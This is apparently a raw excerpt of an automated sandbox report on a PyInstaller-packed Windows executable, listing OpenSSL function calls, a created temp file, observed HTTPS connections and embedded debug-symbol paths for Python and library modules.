Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B24EB CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE013B24EB
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01428870 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_dup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_free,ERR_new,ERR_set_debug,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE01428870
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01414860 ERR_new,ERR_set_debug,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_memdup,CRYPTO_strdup,CRYPTO_free,CRYPTO_free,ERR_new,ERR_new,ERR_set_debug,OPENSSL_cleanse,OPENSSL_cleanse,CRYPTO_clear_free,CRYPTO_clear_free,	1_2_00007FFE01414860
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B139D memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,	1_2_00007FFE013B139D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013FE920 CRYPTO_free,	1_2_00007FFE013FE920
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013C4930 CRYPTO_get_ex_new_index,	1_2_00007FFE013C4930
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013FE8C0 CRYPTO_free,	1_2_00007FFE013FE8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B26B2 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,	1_2_00007FFE013B26B2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0142A8F0 EVP_PKEY_CTX_new_from_pkey,ERR_new,ERR_set_debug,EVP_PKEY_decrypt_init,ERR_new,ERR_set_debug,X509_get0_pubkey,ERR_clear_error,ASN1_item_d2i,ASN1_TYPE_get,ERR_new,ERR_set_debug,EVP_PKEY_decrypt,ERR_new,EVP_PKEY_CTX_ctrl,ERR_new,ERR_new,ERR_set_debug,EVP_PKEY_CTX_free,ASN1_item_free,	1_2_00007FFE0142A8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0141C8E0 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,memcpy,CRYPTO_free,CRYPTO_free,CRYPTO_free,	1_2_00007FFE0141C8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013CEB48 CRYPTO_free,	1_2_00007FFE013CEB48
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1A0F ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_CIPHER_CTX_get0_cipher,EVP_CIPHER_get_flags,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_MD_CTX_get0_md,EVP_MD_get_size,CRYPTO_memcmp,ERR_set_mark,ERR_clear_last_mark,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_pop_to_mark,ERR_clear_last_mark,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_get0_md,CRYPTO_memcmp,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,strncmp,strncmp,strncmp,strncmp,strncmp,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE013B1A0F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B4C00 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE013B4C00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013FEC10 CRYPTO_free,	1_2_00007FFE013FEC10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1AB4 CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE013B1AB4
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1A05 ERR_new,ERR_set_debug,ERR_set_error,ASN1_item_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,_time64,X509_free,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,ASN1_item_free,	1_2_00007FFE013B1A05
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1492 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,	1_2_00007FFE013B1492
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013F2A50 SRP_Calc_u_ex,BN_num_bits,CRYPTO_malloc,ERR_new,ERR_set_debug,BN_bn2bin,BN_clear_free,BN_clear_free,	1_2_00007FFE013F2A50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B114F CRYPTO_free,ERR_new,ERR_set_debug,	1_2_00007FFE013B114F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013DEB10 CRYPTO_THREAD_write_lock,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	1_2_00007FFE013DEB10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1460 CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,BIO_snprintf,	1_2_00007FFE013B1460
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013C6B20 CRYPTO_THREAD_run_once,OPENSSL_sk_find,OPENSSL_sk_value,EVP_CIPHER_fetch,EVP_CIPHER_get_flags,	1_2_00007FFE013C6B20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B4B30 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE013B4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B222F ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,	1_2_00007FFE013B222F
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013F8D40 OPENSSL_cleanse,CRYPTO_free,	1_2_00007FFE013F8D40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1CBC EVP_MD_get_size,ERR_new,ERR_set_debug,RAND_bytes_ex,ERR_new,ERR_set_debug,_time64,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE013B1CBC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1B54 memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,memcmp,EVP_CIPHER_CTX_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcmp,memcmp,ERR_new,ERR_set_debug,memcpy,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,	1_2_00007FFE013B1B54
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013CEDC1 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,BUF_MEM_free,EVP_MD_CTX_free,X509_free,X509_VERIFY_PARAM_move_peername,CRYPTO_free,	1_2_00007FFE013CEDC1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013CEDC1 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,BUF_MEM_free,EVP_MD_CTX_free,X509_free,X509_VERIFY_PARAM_move_peername,CRYPTO_free,	1_2_00007FFE013CEDC1
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1771 CRYPTO_free,	1_2_00007FFE013B1771
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1811 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	1_2_00007FFE013B1811
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013F8C80 CRYPTO_free,	1_2_00007FFE013F8C80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B22D9 CRYPTO_malloc,CONF_parse_list,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,	1_2_00007FFE013B22D9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01408CA0 CRYPTO_free,CRYPTO_strndup,	1_2_00007FFE01408CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B257C ERR_new,ERR_set_debug,CRYPTO_free,BIO_clear_flags,BIO_set_flags,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,OPENSSL_cleanse,	1_2_00007FFE013B257C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01414C40 ERR_new,ERR_set_debug,X509_get0_pubkey,ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,RAND_bytes_ex,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_PKEY_CTX_new_from_pkey,EVP_PKEY_encrypt_init,EVP_PKEY_encrypt,EVP_PKEY_encrypt,EVP_PKEY_CTX_free,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,EVP_PKEY_CTX_free,	1_2_00007FFE01414C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013FEC70 CRYPTO_free,	1_2_00007FFE013FEC70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B136B ERR_new,ERR_set_debug,CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,ERR_new,ERR_set_debug,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,memset,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE013B136B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B20E5 CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE013B20E5
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B2144 EVP_CIPHER_get_mode,EVP_CIPHER_get_mode,EVP_CIPHER_get_iv_length,EVP_CIPHER_get_key_length,CRYPTO_malloc,ERR_new,ERR_set_debug,	1_2_00007FFE013B2144
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B4FD0 CRYPTO_free,	1_2_00007FFE013B4FD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B117C _time64,OPENSSL_LH_retrieve,OPENSSL_LH_delete,CRYPTO_THREAD_unlock,	1_2_00007FFE013B117C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013BCEA0 CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_clear_free,CRYPTO_free,CRYPTO_free,EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,CRYPTO_free,memset,CRYPTO_free,	1_2_00007FFE013BCEA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B17E9 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcmp,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcmp,ERR_new,CRYPTO_memdup,ERR_new,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE013B17E9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B236A CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,memcpy,CRYPTO_free,CRYPTO_free,	1_2_00007FFE013B236A
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01422EE0 CRYPTO_memcmp,	1_2_00007FFE01422EE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01411170 ERR_new,ERR_set_debug,CRYPTO_clear_free,	1_2_00007FFE01411170
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013BF160 CRYPTO_free,CRYPTO_memdup,	1_2_00007FFE013BF160
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013DD170 CRYPTO_THREAD_write_lock,OPENSSL_sk_new_null,OPENSSL_LH_delete,OPENSSL_sk_push,OPENSSL_LH_set_down_load,CRYPTO_THREAD_unlock,OPENSSL_sk_pop_free,	1_2_00007FFE013DD170
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013BD227 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,	1_2_00007FFE013BD227
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01417230 CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,	1_2_00007FFE01417230
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B1A23 BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,BN_dup,CRYPTO_strdup,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	1_2_00007FFE013B1A23
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013D9080 CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	1_2_00007FFE013D9080
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013F30A0 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	1_2_00007FFE013F30A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B14CE CRYPTO_free,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	1_2_00007FFE013B14CE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B21DF CRYPTO_memcmp,	1_2_00007FFE013B21DF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B2117 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,	1_2_00007FFE013B2117
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE0142B070 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_memdup,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE0142B070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE01415070 BN_num_bits,BN_bn2bin,CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE01415070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013DF070 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_set_error,_time64,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_new_ex_data,CRYPTO_THREAD_lock_free,ERR_new,ERR_set_debug,memcpy,	1_2_00007FFE013DF070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013F9120 CRYPTO_malloc,ERR_new,ERR_set_debug,	1_2_00007FFE013F9120
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B11A9 EVP_MAC_CTX_free,CRYPTO_free,	1_2_00007FFE013B11A9
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE013B2374 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	1_2_00007FFE013B2374

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.9:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49839 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: file.exe, 00000001.00000002.2149200604.00007FFDFB19A000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: file.exe, 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\pywin32\pywin32\build\temp.win-amd64-cpython-313\Release\pywintypes.pdb** source: file.exe, 00000001.00000002.2152957100.00007FFE0C0B1000.00000002.00000001.01000000.0000002C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb(('GCTL source: file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159684612.00007FFE130C4000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: file.exe, 00000000.00000003.1688385647.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: file.exe, 00000000.00000003.1687009658.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2160311288.00007FFE13314000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: file.exe, 00000001.00000002.2149200604.00007FFDFB102000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: file.exe, 00000000.00000003.1687009658.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2160311288.00007FFE13314000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: file.exe, 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: file.exe, 00000001.00000002.2149200604.00007FFDFB19A000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: file.exe, 00000000.00000003.1688285782.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\pywin32\pywin32\build\temp.win-amd64-cpython-313\Release\win32crypt.pdb!! source: file.exe, 00000001.00000002.2153158919.00007FFE0CFA2000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: file.exe, 00000000.00000003.1687157131.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159486915.00007FFE12E15000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: file.exe, 00000000.00000003.1694758534.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2158289464.00007FFE11EA3000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\pywin32\pywin32\build\temp.win-amd64-cpython-313\Release\pywintypes.pdb source: file.exe, 00000001.00000002.2152957100.00007FFE0C0B1000.00000002.00000001.01000000.0000002C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: file.exe, 00000000.00000003.1688025894.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2158792768.00007FFE120C6000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159238918.00007FFE126EB000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: file.exe, 00000001.00000002.2158536684.00007FFE11ED2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: file.exe, 00000000.00000003.1688492455.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159032410.00007FFE126C3000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\pywin32\pywin32\build\temp.win-amd64-cpython-313\Release\win32crypt.pdb source: file.exe, 00000001.00000002.2153158919.00007FFE0CFA2000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: file.exe, 00000000.00000003.1688158142.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159238918.00007FFE126EB000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: file.exe, 00000000.00000003.1687411258.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159881473.00007FFE1320D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: file.exe, 00000000.00000003.1689025559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2159684612.00007FFE130C4000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: file.exe, 00000000.00000003.1688573407.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2157666533.00007FFE11519000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: file.exe, 00000001.00000002.2156747532.00007FFE1030F000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: file.exe, 00000001.00000002.2150063973.00007FFDFB668000.00000002.00000001.01000000.00000004.sdmp
